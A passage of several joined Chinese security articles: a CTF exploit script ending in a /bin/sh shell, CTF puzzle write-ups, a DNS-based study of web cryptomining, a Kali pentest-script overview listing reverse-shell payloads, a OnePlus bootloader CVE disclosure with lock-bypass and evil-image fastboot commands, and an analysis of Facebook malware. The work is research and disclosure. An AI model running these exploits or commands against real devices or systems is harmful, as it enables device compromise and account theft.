#if diff < 0:
# sub_quit(io)
# t_exit(io)
# return False
sub_query(io, 2)
io.read_until("[*L*] Query result: ")
data = int(io.read_until("n")[:-1])
print data
puts_addr = struct.unpack("I", struct.pack("i", data))[0]
print "puts_addr:", hex(puts_addr)
#elf_info = ELF("./libc.so.6")
elf_info = ELF("./libc.so")
print hex(elf_info.symbols["puts"])
libc_addr = puts_addr - elf_info.symbols["puts"]
system_addr = libc_addr + elf_info.symbols["system"]
_IO_getc_addr = libc_addr + elf_info.symbols["_IO_getc"]
malloc_addr = libc_addr + elf_info.symbols["malloc"]
#__printf_chk_addr = libc_addr + elf_info.symbols["__printf_chk"]
malloc_addr = struct.unpack("i", struct.pack("I", malloc_addr))[0]
#__printf_chk_addr = struct.unpack("i", struct.pack("I", __printf_chk_addr))[0]
print malloc_addr
print puts_addr
sub_update(io, 0, malloc_addr)
#sub_update(io, 1, puts_addr)
sub_sort(io)
print "system addr:", hex(system_addr)
#system_addr = struct.unpack("i", struct.pack("I", system_addr))[0]
io.gdb_hint()
sub_quit(io)
#io.interact()
seq = ['1', '1']
sort(io, seq)
sub_sort(io)
_IO_getc_addr = struct.unpack("i", struct.pack("I", _IO_getc_addr))[0]
system_addr = struct.unpack("i", struct.pack("I", system_addr))[0]
sub_update(io, 0, _IO_getc_addr)
sub_update(io, 1, system_addr)
sub_quit(io)
#sub_update(io, 2, system_addr)
#sub_quit(io)
t_reload(io, 0)
io.read_until("Choose: ")
io.writeline("/bin/sh")
io.interact()
return True
io = get_io(target)
pwn(io)
成功截图：
**Misc**
**10 Welcome**
**100 Speed Data**
PDF隐写 直接二进制查看或者用工具都可以
工具是 wbStego4open 直接decode就可以得到flag
### 200 Puzzle
音频中间某处有个字符串：
1L0vey0u*.*me
---
音频最后有奇怪的数据：
明显的7z，不过每两个字符中间加了00，写个脚本解一下得到一个7z：
r=open("fg","rb")
rr=r.read()
s=[]
i=1
while i <len(rr):
s.append(rr[i])
i+=2
w=open("fss.7z","wb")
w.write("".join(s))
用刚才那个字符串作为密码可以打开7z：
不明觉厉，看图片的二维码，有：
# flag = f[root]
# f[x] = d[x] xor max(f[lson(x)], f[rson(x)]) : x isn't leaf
# f[x] = d[x] : x is leaf
---
一棵树，构造方法类似线段树。
不难推测出文件夹0是左叶子1是右叶子d就是d那么我们的目标是求根目录的f，写个递归构造直接得到：
###
import os
def calcf(mulu):
r=open(mulu+"/d","r")
rr=r.read()
r.close()
d=int(rr[2:],2)
ls=os.listdir(mulu)
if '0' not in ls:
return d
else:
temp1=calcf(mulu+"/0")
temp2=calcf(mulu+"/1")
maxtemp=temp1
if temp2>temp1:
maxtemp=temp2
return d^maxtemp
print hex(int(calcf("7")))[2:-1].decode("hex")
###
**这个游戏很好玩啊 hhhh300 Hungry Game**
首先看js 用socket跳关
data = JSON.stringify([msg('next', {})]);
ws.send(data);
连跳两关之后需要采木头
data = JSON.stringify([msg('wood', {'time': 1e10})]);
ws.send(data);
下一关是钻石。。 一次最多50个，需要写循环（完全MC即视感）
for(var i=0;i<500;i++){
data = JSON.stringify([msg('diamond', {
'count': 20
})]);
ws.send(data);
}
最后打BOSS 这个靠脸。。 我打了四次才过去。 | 社区文章 |
# 是谁悄悄偷走我的电：利用DNSMon批量发现被挂挖矿代码的域名
##### 译文声明
本文是翻译文章，文章来源：blog.netlab.360.com
原文地址：<https://blog.netlab.360.com/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon/>
译文仅供参考，具体内容表达以及含义原文为准。
## 传送门：是谁悄悄偷走我的电（二）：那些利用主页挖取比特币的网站
## 传送门：是谁悄悄偷走我的电（三）：某在线广告网络公司案例分析
>
> 小伙伴们，你们可曾发现在浏览网页时电脑或手机没来由的变得很卡，CPU使用率激增，显卡发热严重，甚至嗡嗡作响。注意！你的设备可能正被用来挖矿！这些被挂了挖矿代码的网站正是元凶！
在360网络安全研究院，我们持续的分析海量的DNS流量。基于此，我们建立了 DNSMon 检测系统，能够对 DNS
流量中的各种异常和关联关系予以分析。在之前的 [文章](https://blog.netlab.360.com/openload-co-and-other-sites-are-mining-xmr-with-client-browser-without-coinhive/) 中，我们提到了
openload.co 等网站利用Web页面挖矿的情况。在那之后，我们进一步 **利用 DNSMon 对整个互联网上网页挖矿进行分析**
，本文描述我们目前看到情况。当前我们可以看到：
* **0.2% 的网站在首页嵌入了Web挖矿代码** ：Alexa Top 10万的网站中，有 241 (0.24%) ； Alexa Top 30万的网站中，有 629 (0.21%)
* **色情相关网站是主体** ，占据了这些网站的49%。其它还有诈骗（8%）、广告（7%）、挖矿（7%）、影视（6%）等类别
* **10+ 挖矿网站提供挖矿能力支撑** ，其中最大的是是 coinhive.com，占据了大约 57% 的份额，然后是 coin-hive.com (8%)、load.jsecoin.com (7%)、webmine.pro(4%)、authedmine.com (4%) 及其他
当前网页挖矿已经成为一个市场，市场中的角色包括：
* **终端用户** ：当前他们的利益是被忽视的
* **挖矿网站** ：新玩家，提供网页挖矿脚本和能力
* **内容/流量网站** ：既有网站，有庞大的用户但缺少变现手段。现在他们将既往无利可图的流量导向挖矿网站，利用消费者的算力网页挖矿，完成变现。最近也开始有一些内容网站，他们自行搭建挖矿能力，肥水不留外人田。
## 600+ 内容/流量网站
在 Alexa Top30万 的站点中，通过验证他们的首页，我们可以确认当前有至少 628
个网站挂载了挖矿代码。我们把这些域名绘制了标签图如下，读者可以有一个直观印象。由于色情相关的特殊性，我们不会公布这些已知域名。
网站内容分类如下表所示：
## 10+ 挖矿网站
### 市场占有率排名
内容/流量网站汇聚了用户流量以后，会通过挖矿网站来变现。按照被内容网站使用数量统计，我们看到 2018-02-06 当天的Top 10 挖矿网站如下所示：
值得一提的是，上表中尽管所有的挖矿网站被使用了728次，但所有的内容网站加起来只有 628 个，这是因为部分内容网站使用了 2
个或者更多的挖矿网站。在这个市场里，这是一种普遍的情况。
### 挖矿网站家族
所有的挖矿网站之间，是可以汇聚到不同家族的。我们已知的挖矿网站家族包括：
* **coinhive** : coinhive.com, coin-hive.com，以及系列网站
* **jsecoin** : load.jsecoin.com
* **webmine** : webmine.cz
* **cryptoloot** : crypto-loot.com, cryptoloot.pro, webmine.pro以及系列网站
* **coinhave** : coin-have.com, ws.cab217f6.space系列网站, api.cab217f6.space系列网站
### 流量趋势
主要的挖矿网站 DNS 流量趋势如下图：
从图中我们可以看出：
* **市场开启于 2017-09** ，coin-hive.com 和 coinhive.com 先后于 2017-09-15 和 2017-09-28 开始有大量访问
* **市场在持续变大** ，在2017-10 和 2018-01 分别有两次大的提升
* **最大的玩家是 coinhive 家族** ，这与之前的观测一致。作为代表的 coinhive.com 网站流行度已经排入Top 2万
* **越来越多的挖矿网站供应商在进入这个市场**
另外，最近我们开始观察到，coinhave 家族开始使用一些域名的冗余技术来将流量分散到类如6860c644.space等20个子站上，主站的流量在缩小。
### 新玩家和新玩法
近期我们注意到一些新的玩法正在这个市场上出现：
* **广告商** ：有些网站的挖矿行为是广告商的外链引入的
* **壳链接** ：有的网站会使用一个“壳链接”来在源码中遮蔽挖矿站点的链接
* **短域名服务商** ：goobo.com.br 是一个巴西的短域名服务商，该网站主页，包括通过该服务生成的短域名，访问时都会加载coinhive的链接来挖矿
* **供应链污染** ：www.midijs.net 是一个基于 JS 的MIDI文件播放器，网站 [源码](http://www.midijs.net/lib/midi.js) 中使用了 coinhive 来挖矿
* **自建矿池** ： 有人在 github 上开源了一段[代码](https://github.com/deepwn/deepMiner)，可以用来自建矿池
* **用户知情的Web挖矿** ：authedmine.com 是新近出现的一个挖矿网站，网站宣称只有在用户明确知道并授权的情况下，才开始挖矿
## 使用 DNSMon 检测网页挖矿情况的原理和优点
以上展示了我们使用 DNSMon 监控网页挖矿的结果，其监控原理如下：
* 当用户浏览器开打内容网站的网页，并随后立即访问了挖矿网站时，这两个域名的紧密关联关系会被 DNSMon 记录下来
* 在这个案例中，通过对 coinhive.com 相关的网站观察，我们能够识别挖矿相关网站
* 由于内容网站不时切换背后的挖矿网站，所有记录下来的域名就能够连接成一张网络，从而反映整个市场内的玩家情况
使用 DNSMon 检测网页挖矿有以下优点和缺点：
* **优点**
* 覆盖广
* 准实时
* 精度高
* 可以利用域名关联网络，通过种子域名扩展发现新的可疑域名
* 对链路劫持后的的支持，也好于传统网页扫描器
* **缺点**
* 仅能反映域名之间关联，网页挖矿事实还需要使用其他手段确认
总体而言，利用 DNSmon 系统，我们能够：
* 批量发现可疑站点
* 快速确定挖矿网站
* 定位使用了代码变形、壳链接的挖矿网站。
## 声明
本文中的标签图，使用 <http://cloud.niucodata.com/> 制作 | 社区文章 |
# 基于Kali Linux的渗透测试工具-Discover脚本
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://github.com/leebaird/discover>
译文仅供参考，具体内容表达以及含义原文为准。
**如果你正在使用Kali Linux，那么自定义的bash脚本就可以帮助你执行自动化的渗透测试任务。**
如果你对这一项目感兴趣，请关注我们项目的官方推特账号：@discoverscripts
项目许可
本项目使用了“BSD 3-clause”开源许可证，如果需要获取更多关于本开源许可证的信息，请查看开源许可证的相关文件。
下载，安装和使用
git clone https://github.com/leebaird/discover /opt/discover/
All scripts must be ran from this location.
cd /opt/discover/
./update.sh
**侦查**
1\. 域名
2\. 个人
3\. Salesforce分析
**扫描**
4\. 生成目标列表
5\. CIDR
6\. 列表
7\. IP地址或域名
**WEB**
8\. 在Iceweasel浏览器中打开多个标签页
9\. Nikto（一款漏洞扫描工具）
10\. SSL（安全套接层）
**杂项**
11\. 破解WiFi密码
12\. 解析XML内容
13\. 生成恶意Payload
14\. 开启Metasploit监听器
15\. 系统更新
16\. 退出
**侦查**
**域名**
1\. 被动侦查
2\. 主动侦查
3\. 上级菜单
l 被动捆绑goofile, goog-mail, goohost, theHarvester, Metasploit, dnsrecon,
URLCrazy, Whois，以及其他各类网站。
l 主动捆绑Nmap , dnsrecon, Fierce, lbd, WAF00W, traceroute 以及Whatweb等各类工具。
**个人**
侦查
用户姓氏：
用户名字：
l 对多个网站中的信息进行合并处理，然后得出数据。
**Salesfoce分析**
在Salesforce网站上创建一个免费账号（https://connect.data.com/login）。
然后搜索目标公司>选择公司名称>查看全部搜索结果。
将搜索结果拷贝至一个新的文件中。
输入列表的存储位置：
l 将收集到的姓名和职位等信息写入一个空白列表之中。
扫描
**生成目标列表**
扫描
1\. 本地局域网络
2\. NetBIOS
3\. Netdiscover（ARP侦查工具）
4\. Ping sweep（可视化Ping工具）
5\. 上级菜单
l 使用不同的工具来创建目标列表，例如Angry IP地址扫描器，arp-scan，netdiscover，以及Nmap和Ping sweep。
CIDR，列表，IP地址，或者域名
扫描类型：
1\. 外部扫描
2\. 内部扫描
3\. 上级菜单
l 进行外部扫描时，系统会将Nmap的源端口号设置为53，并将max-rrt-timeout设置为1500毫秒。
l 进行内部扫描时，系统会将Nmap的源端口号设置为88，并将max-rrt-timeout设置为500毫秒。
l 可以使用Nmap来执行主机扫描，端口扫描，服务枚举，以及操作系统识别。
l 可以使用匹配的Nmap脚本来执行额外的枚举操作。
l 可以使用匹配的Metasploit辅助模块来进行操作。
**WEB**
在Iceweasel浏览器中开启多个标签页
利用下列元素在在Iceweasel浏览器中开启多个标签页：
1\. 列表
2\. 从域名的robot.txt中获取网站目录
3\. 上级菜单
l 使用一个包含IP地址或URL地址的列表。
l 使用wget命令获取某一域名的robot.txt文件，然后打开网站系统中的所有目录。
**Nikto（一款开源的漏洞扫描工具）**
同时运行多个Nikto工具实例。
1\. IP地址列表
2\. IP:端口列表
3\. 上级菜单
**SSL**
检测SSL证书中存在的问题。
输入列表位置：
l 使用sslscan和sslyze检测SSL/TLS证书中存在的问题。
**杂项**
破解WiFi
l 破解无线网络的密码
**解析XML**
将XML文件解析为CSV格式的文件。
1\. Burp(Base64)
2\. Nessus
3\. Nexpose
4\. Nmap
5\. Qualys
6\. 上级菜单
**生成恶意Payload**
恶意Payload
1\. android/meterpreter/reverse_tcp
2．linux/x64/shell_reverse_tcp
3\. linux/x86/meterpreter/reverse_tcp
4\. osx/x64/shell_reverse_tcp
5\. windows/meterpreter/reverse_tcp
6\. windows/x64/meterpreter/reverse_tcp
7\. 上级菜单
**开启Metasploit监听器**
l 利用windows/meterpreter/reverse_tcp payload，在系统的端口443设置一个或多个监听处理工具。
**系统更新**
l 可利用系统更新功能更新Kali Linux，Discover脚本，各种系统工具，以及本地数据库。 | 社区文章 |
# 【漏洞分析】获取已锁定的OnePlus 3/3T：引导加载程序漏洞
|
##### 译文声明
本文是翻译文章，文章来源：securityresear.ch
原文地址：<https://securityresear.ch/2017/02/08/oneplus3-bootloader-vulns/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[胖胖秦](http://bobao.360.cn/member/contribute?uid=353915284)
预估稿费：120RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
在这篇博文中，我公开了OnePlus
3/3T引导加载程序中的两个漏洞。第一个[CVE-2017-5626](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5626)是影响OxygenOS
3.2-4.0.1（4.0.2修补）的高危漏洞。该漏洞允许一个物理对手（或使用ADB/
FASTBOOT访问）来绕过bootloader的锁定状态，即使Allow OEM
Unlocking被禁用，无需用户确认并不会触发出厂重置。该漏洞允许内核代码执行（尽管启动时有[5秒警告](https://securityresear.ch/2017/02/08/oneplus3-bootloader-vulns/#exploiting-cve-2017-5626-for-kernel-code-execution)）。第二个漏洞[CVE-2017-5624](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5624)影响至今OxygenOS的所有版本，允许攻击者禁用dm-verity。这些漏洞的组合实现了强大的攻击 – 持久化的高权限代码执行，而不向用户发出任何警告，并且能够访问原始用户的数据（在受害者输入其凭据后）。
OnePlus Security披露和承认了这两个漏洞。第一个漏洞[CVE-2017-5626](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5626)于1月23日被披露。它也是由OnePlus工程师独立发现的。[CVE-2017-5624](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5624)于1月16日被披露，在未来的OxygenOS版本中得到修复
-今天的公开它的原因是因为已经有人在1月24日[公布](https://forum.xda-developers.com/oneplus-3/how-to/fix-easy-method-removing-dm-verity-t3544339)它了。
免责声明：我只测试了OnePlus 3，但OnePlus 3T也包含漏洞。
**绕过引导加载程序锁（CVE-2017-5626）**
OnePlus 3 &3T运行OxygenOS 3.2 – 4.0.1系统,它有两个专用的FASTBOOT oem命令：
1\. fastboot oem 4F500301-绕过bootloader的锁-允许使用FASTBOOT访问来解锁设备，无视OEM
Unlocking，并无需用户确认，没有用户数据擦除（正确的解锁后通常会发生）。此外，在运行此命令后设备仍然报告处于锁定状态。
2\. fastboot oem 4F500302 – 重置各种引导加载程序设置。例如，它将锁定未加锁的引导加载程序，无需用户确认。
分析引导程序二进制表明其处理程序4F500301的命令非常简单：
// 'oem 4F500301' handler
int sub_918427F0()
{
magicFlag_dword_91989C10 = 1;
if ( dword_9198D804 != dword_9198D804 )
assert(1, dword_9198D804, dword_9198D804);
return sendOK((int)"", dword_9198D804);
}
因此，它在91989C10设置了某些全局标志（我们命名为magicFlag）。通过观察其处理格式/擦除FASTBOOT命令的过程，我们可以清楚地看到在几项检查之后,magicFlag覆盖设备的锁定状态-刷入或删除分区：
// 'flash' handler
const char *__fastcall sub_91847EEC(char *partitionName, int *a2, int a3)
{
char *pname; // r5@1
...
pname = partitionName;
v4 = a2;
v5 = a3;
if ( returnTRUE1(partitionName, (int)a2) )
{
result = (const char *)sub_918428F0(pname, v6);
if ( (result || magicFlag_dword_91989C10)
&& ((result = (const char *)sub_91842880(pname, v10)) != 0 || magicFlag_dword_91989C10) )
{
result = (const char *)sub_918428F0(pname, v10);
if ( !result || magicFlag_dword_91989C10 )
goto LABEL_7;
v8 = dword_9198D804;
if ( dword_9198D804 != dword_9198D804 )
goto LABEL_28;
v11 = "Critical partition flashing is not allowed";
}
else
{
v8 = dword_9198D804;
if ( dword_9198D804 != dword_9198D804 )
goto LABEL_28;
v11 = "Partition flashing is not allowed";
}
return (const char *)FAIL2((int)v11, v10);
}
LABEL_7:
...
if ( *v4 != 0xED26FF3A )
{
if ( *v4 == 0xCE1AD63C )
cmd_flash_meta_img(pname, (unsigned int)v4, v5);
else
cmd_flash_mmc_img(pname, (int)v4, v5);
goto LABEL_10;
}
v7 = v4;
}
cmd_flash_mmc_sparse_img(pname, (int)v7, v5);
...
}
// 'erase' handler
int __fastcall sub_91847118(char *partitionName, int a2, int a3)
{
...
v3 = partitionName;
v4 = returnTRUE1(partitionName, a2);
if ( !v4 )
{
LABEL_7:
...
if ( v4 )
{
if ( dword_9198D804 == dword_9198D804 )
return eraseParition(v3);
}
...
}
v4 = sub_918428F0(v3, v5);
if ( !v4 && !magicFlag_dword_91989C10 )
{
v6 = dword_9198D804;
if ( dword_9198D804 == dword_9198D804 )
{
v7 = "Partition erase is not allowed";
return FAIL2((int)v7, v5);
}
goto LABEL_23;
}
v4 = sub_91842880(v3, v5);
if ( !v4 && !magicFlag_dword_91989C10 )
{
v6 = dword_9198D804;
if ( dword_9198D804 == dword_9198D804 )
{
v7 = "Partition flashing is not allowed";
return FAIL2((int)v7, v5);
}
LABEL_23:
assert(v4, v5, v6);
}
v4 = sub_918428F0(v3, v5);
if ( !v4 || magicFlag_dword_91989C10 )
goto LABEL_7;
v6 = dword_9198D804;
...
v7 = "Critical partition erase is not allowed";
return FAIL2((int)v7, v5);
}
**利用CVE-2017-5626进行内核代码执行**
通过利用此漏洞，攻击者可以刷入恶意引导映像（其中包含两个内核和Root
RAMFS）来得到自身的平台。但问题是，引导程序和平台检测这样的修改，这被称为验证启动。引导加载程序验证boot和recovery分区-刷入一个修改的boot分区，例如，会在引导时提示以下警告：
另一个不会触发此警告的选项是刷入旧的未修改的引导映像 – 较旧的映像包含可被攻击者利用的已知安全漏洞。
总之，尽管有警告(5秒后自动消失),OnePlus 3 / 3T仍然允许在红色验证状态启动，因此攻击者的代码得到执行。
有无数的方法来证明这种情况的严重性，所以我选择了最简单的方法。
通过修改引导映像：
1\. 我添加androidboot.selinux=permissive到内核命令行来设置SELinux的permissive模式。
2\. 我已经修改了ramfsST
ro.debuggable=1，ro.secure=0，ro.adb.secure=0，并改变了USB配置属性（sys.usb.config），包括启动adb。
然后，我利用此漏洞，刷入修改后的boot.img（evil_boot.img）：
λ fastboot flash boot evil_boot.img
target reported max download size of 440401920 bytes
sending 'boot' (14836 KB)...
OKAY [ 0.335s]
writing 'boot'...
FAILED (remote: Partition flashing is not allowed)
finished. total time: 0.358s
λ fastboot oem 4F500301
...
OKAY [ 0.020s]
finished. total time: 0.021s
λ fastboot flash boot evil_boot.img
target reported max download size of 440401920 bytes
sending 'boot' (14836 KB)...
OKAY [ 0.342s]
writing 'boot'...
OKAY [ 0.135s]
finished. total time: 0.480s
于是我得到了一个root shell，甚至在用户输入他的凭据之前：
OnePlus3:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),
1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),
3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
OnePlus3:/ # getenforce
Permissive
OnePlus 3 / 3T内核似乎是在启用LKM的情况下编译的，因此运行内核代码甚至不需要修补/重新编译内核。
所以我创建了一个小的内核模块：
#include <linux/module.h>
#include <linux/kdb.h>
int init_module(void)
{
printk(KERN_ALERT "Hello From Kerneln");
return 1;
}
然后将其加载到内核中：
OnePlus3:/data/local/tmp # insmod ./test.ko
OnePlus3:/data/local/tmp # dmesg | grep Hello
[19700121_21:09:58.970409]@3 Hello From Kernel
**禁用dm-verity（CVE-2017-5624）**
system分区的验证，不是boot＆recovery，是通过dm-verity驱动的。我们发现可以命令一个已锁定引导程序唤醒该平台,使用另一个FASTBOOT命令禁止dm-verity：fastboot oem
disable_dm_verity。
该oem disable_dm_verity处理程序如下：
// 'oem disable_dm_verity' handler
int sub_9183B8EC()
{
int v0; // r0@1
int v1; // r1@1
dmVerity_dword_91960740 = 0;
v0 = sub_91845E10("ANDROID-BOOT!");
if ( dword_9198D804 != dword_9198D804 )
assert(v0, v1, dword_9198D804);
return sendOK((int)"", v1);
}
又一次，91960740设置了一些标志（我们称为dmVerity）。引导加载程序构建内核cmdline时会使用它：
androidboot.enable_dm_verity内核命令行参数传递到ro.boot.enable_dm_verity,然后指示OnePlus的init,是否要禁用dm-verity：
**2个漏洞组合利用**
这两个漏洞可以组合在一起，用于具有特权的SELinux域代码执行，而不向用户发出任何警告并访问原始用户数据。为了演示这一点（可能有成千上万更好的方法与更高的严重性），我修改了系统分区，添加了一个特权应用程序。可以在/system/priv-app/<APK_DIR>目录下放置APK下,最终将导致它被添加到[priv_app域](https://android.googlesource.com/platform/system/sepolicy/+/android-7.1.1_r16/priv_app.te)中。
λ fastboot flash system system-modded.simg
target reported max download size of 440401920 bytes
erasing 'system'...
FAILED (remote: Partition erase is not allowed)
finished. total time: 0.014s
λ fastboot oem 4F500301
OKAY
[ 0.020s] finished. total time: 0.021s
λ fastboot flash system system-modded.simg
target reported max download size of 440401920 bytes erasing 'system'...
OKAY [ 0.010s]
...
sending sparse 'system' 7/7 (268486 KB)...
OKAY [ 6.748s]
writing 'system' 7/7...
OKAY [ 3.291s]
finished. total time: 122.675s
λ fastboot oem disable_dm_verity
...
OKAY
[ 0.034s] finished. total time: 0.036s
事实上，加载priv_app的应用程序上下文如下：
1|OnePlus3:/ $ getprop | grep dm_verity
[ro.boot.enable_dm_verity]: [0]
OnePlus3:/ $ ps -Z | grep roeeh
u:r:priv_app:s0:c512,c768 u0_a16 4764 2200 1716004 74600 SyS_epoll_ 0000000000 S roeeh.fooapp
**演示视频**
以下视频显示结果 – 平台已加载并没有警告，并安装了特权应用程序。 | 社区文章 |
# 【技术分享】深入分析：黑客如何利用Facebook Messenger跨平台攻击活动
|
##### 译文声明
本文是翻译文章，文章来源：detectify.com
原文地址：<https://labs.detectify.com/2017/08/31/dissecting-the-chrome-extension-facebook-malware/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[紫曦归来](http://bobao.360.cn/member/contribute?uid=2937531371)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
我们经常会使用 Facebook Messenger
与朋友分享有趣的影片或资讯链接，不过最近你要提高警惕了，因为黑客可能正通过这些链接传播恶意软件。日前，卡巴斯基实验室和Detectify实验室的研究人员发现，黑客正利用
Facebook Messenger 进行跨平台攻击活动，
即以目标用户好友身份发送经过处理的视频链接。一旦点击链接，则会根据用户浏览器与操作系统将其重新定向至虚假网站，并诱导用户下载恶意扩展程序，从而自动下载恶意广告软件至用户电脑设备。目前，卡巴斯基实验室针对此威胁进行评估。来自Detectify实验室的Frans
Rosé也在对此进行分析研究。因此，卡巴斯基研究员David Jacoby和Detectify的研究员Frans Rosé决定共同撰写此次事件的研究报告。
**
**
**传播机制**
Frans
Rosé花费了相当长的时间对JavaScript进行分析，并试图弄清楚恶意软件的传播方式。从表面上看，这貌似是一个简单的工作，但实际情况并非如此。这项工作涉及多个步骤，其中就包括确定Javascript的有效载荷。此外，由于是由脚本决定何时发起网络攻击，因此要实时关注攻击者何时发起攻击。
利用Chrome传播的恶意软件不仅仅是传播恶意的网络链接，还会收集和统计受害者的信息。我们尝试将此次恶意软件传播过程进行分解，总结下来主要分为以下几个步骤：
1、受害者从朋友那里收到Facebook Messenger的链接。
2、一旦对方点入就会导引到一个Google Doc网页，其中现实的是一个朋友头像照片的虚假的视频播放器。
3、点击这个链接并使用Chrome浏览器进行观看，就会被复位向至虚假的YouTube网站，同时该网站会诱导受害者从 Google 应用商店下载恶意
Chrome 扩展程序（实际上它是一个 **Downloader** ）。
4、一旦安装了这个恶意的Chrome 扩展程序，受害者就会向其线上的朋友继续发送恶意链接。
Chrome 恶意扩展程序传播步骤值得我们深入研究——
**Facebook的消息框**
消息框中的信息包括用户的姓氏、“视频”（Video）一词和随机的emoji表情：
以及使用URL缩短工具创建的链接。
**Google文档共享PDF预览**
点击链接后，用户就会被复位向到docs.google.com上的一个URL。此链接是通过使用共享PDF的预览链接制作的。这一可能性比较大，因为这是通过外部链接在合法的Google域上获取大型受控内容区域的最快方式。
PDF本身是使用PHP中的 **TCPDF 6.2.13** 创建的，然后使用Google Cloud Services上传Google文档。
TCPDF 6.2.13的PHP创建的，然后使用Google Cloud
Services上传到Google文档。点击就会转到一个正在预览的PDF文件的详细信息页面。
生成的链接的共享设置，其中包含一个有趣的细节：
上图中显示“任何人都可以编辑”（Anyone can
edit”），这就意味着任何拥有链接的人都可以对其进行编辑。让我们来看看这个链接是如何传播开来的——攻击对所有受害者facebook好友都发送了相同的链接。但任何一个好友改变链接访问权限，就会阻止攻击蔓延到受害者的其它朋友。
另一个有趣的细节是创建文档的用户。对大量的个案进行研究就会发现其中的规律：
上图所示是发送给四个不同受害者的链接，但其中的三个链接都使用了一个相同的IAM用户名（ID-34234），即便这三个链接使用的是不同的Google
Cloud项目创建的。
在黑客发起攻击时，这些发送给受害者的pdf预览页面的URL都不在Google的黑名单之列。
**重新定向**
在点击Google文档链接后，用户将被重新定向，最有可能出现的是指纹识别浏览器。以下我们将重点分析Chrome浏览器。
**Chrome扩展程序重新定向被重新定向至虚假的YouTube网页**
使用Chrome浏览器的用户将被重新定向至虚假的YouTube网页。我们注意到在攻击时使用了几个不同的域。
被重新定向的页面还会要求您安装Chrome扩展程序。由于用户可以直接在页面上安装Chrome扩展程序，因此受害者唯一可以执行的操作就是单击“添加扩展名”。一旦受害者点击了“添加扩展名”，黑客的攻击行动就成功了。
**Chrome扩展程序**
这里使用了多种Chrome扩展程序。所有的扩展程序都是新创建的，代码是从名称相似的扩展名中盗来的。这些扩展程序主要是使用 **background.js**
和 **manifest.json** 的修改版。
显示进行了更改以控制tabs和所有的URL，并启用对background.js的支持：
我们发现的所有Chrome扩展程序中的后台脚本都是模糊的，但基础的脚本如下图所示：
**模糊后台脚本**
这个脚本非常值得深入推敲。首先，用户只有从Chrome
Webstore上安装了扩展程序，background.js才能获取外部URL；如果使用未打包的从本地安装的扩展程序则不会触发网络攻击。
抓取的URL将包含另一个脚本的引用。这个脚本将使用URL.createObjectURL发送到一个Javascript的Blob对象，然后运行background.js。
Blob对象中新生成的脚本同样是模糊的，如下图所示：
之后将出现这两种情况：
1、如果tab加载成功，就会为所有tab添加一个听众。
2、标签页面载入后，将向另一URL地址发起请求。如果该响应包含任何内容，将被发回标签页面，同时使用executeScript进行触发。该文件之后将在发出请求的标签页面上运行Javascript，从而及时实现XSS注入。
**获取所有脚本**
进行识别被注入文件的研究时，我注意到攻击者的C&C服务器并非始终有代码返回。我开始猜测，当攻击发起时，攻击者能够控制是否传播攻击，以及是否采取手动或特定手段进行。
为了避免在这里白白坐等，我建立了伪扩展程序来模拟攻击者的行为。当然，我并没有激活相关代码，而是将其保存在本地。
一段时间后，我注意到自己已经获得许多点击量，点击者的终端均立即发回了回应码（back code）：
返回的代码没有经过任何混淆处理，能够从中看清具体流程。该代码实际是专门针对Facebook而编写的。
该脚本将执行以下操作：
查看运行的域中是否包含Facebook.com。
提取CSRF凭证以访问Facebook，将其名为“fb_dtsg”。
查看是否已经获取访问凭证（获得访问权限是为了完成Facebook API的身份验证）。
将访问令牌（access token）和用户ID发送给攻击者的外部站点。
确保平台功能已启用（禁用kill-switch）：
创建一个访问令牌。目前Facebook已经弃用了FQL API，Facebook此前一直使用FQL API：
然而攻击者发现，如果目标使用iOS系统中的“Pages Manager”应用程序定制访问凭证，FQL API将继续保持可用。
让我们继续来看最有趣的部分，即这些脚本都干了什么：
**对攻击者点赞Facebook页面的剖析**
该脚本将根据硬编码内容为一个Facebook页面点赞。而攻击者很有可能是通过监控该页面的点赞数量来计算受感染用户的具体数量的。
在该攻击的某一阶段中，我们发现页面中的点赞数量激增，在短短数小时之中，从8900跃升到近32000：
同样明显的是，攻击者能够通过C&C服务器中的脚本获取器来控制攻击时间。在攻击过程中，该网页点赞数量的增长速度呈现出巨大差异。
攻击者此外还数次更换了页面，很有可能是因为他们的页面遭到了Facebook封停。
**取得好友列表**
由于攻击者已经获得一个支持 **FQL** 的访问凭证，他们将能利用过时API取得受害者的朋友列表，并按上线日期进行划分，将一直保持在线的朋友选取出来。
他们通过一次选取50名好友将其打乱，只有当这些好友处于空闲或在线状态时，才开始发动攻击。
接着，他们将通过另一域名生成链接，专门用于接受用户ID信息。这一链接将在Google
Docs上创建PDF文件，记录目前受害者的档案资料，再由一个短地址将其发回。
攻击者接收该链接后，会再次随即向所有好友发送信息，并使该链接再次运转。
**
**
**有趣的细节**
在前面的攻击中，植入代码的某些部分从未被使用过，或有所遗留。
其中一部分就是在合适条件下向每名好友发送消息的定位功能，在实际攻击中其被换成了随机的emoji表情：
login.php
攻击者所使用的域中包含了一些文件，使我们猜测类似login.php在内的PHP文件应该存储其中。该文件将同时释放出一个Facebook登录脚本，以及一个硬编码电子邮箱地址：
**
**
**版本**
我们发现攻击者使用了数种版本的Facebook注入脚本。在攻击的末尾阶段，该脚本仅仅点赞了Facebook页面，却并未发动攻击。另外，用于收集访问凭证的域名也从脚本中移除了。
**
**
**登录页**
正如我们所提到，脚本同样列举了你正在使用的浏览器类型。Chrome拓展部分仅对使用Google
Chrome的用户有效。如果你使用的是另一种浏览器，相关代码也会执行其它命令。
有趣的是，攻击者虽然对大多数操作系统添加了支持，但我们并未收集到针对Linux操作系统的任何样本。
我们所收集的样本均为恶意广告程序，在受害者打开最后的登陆页时，将被复位向至数个
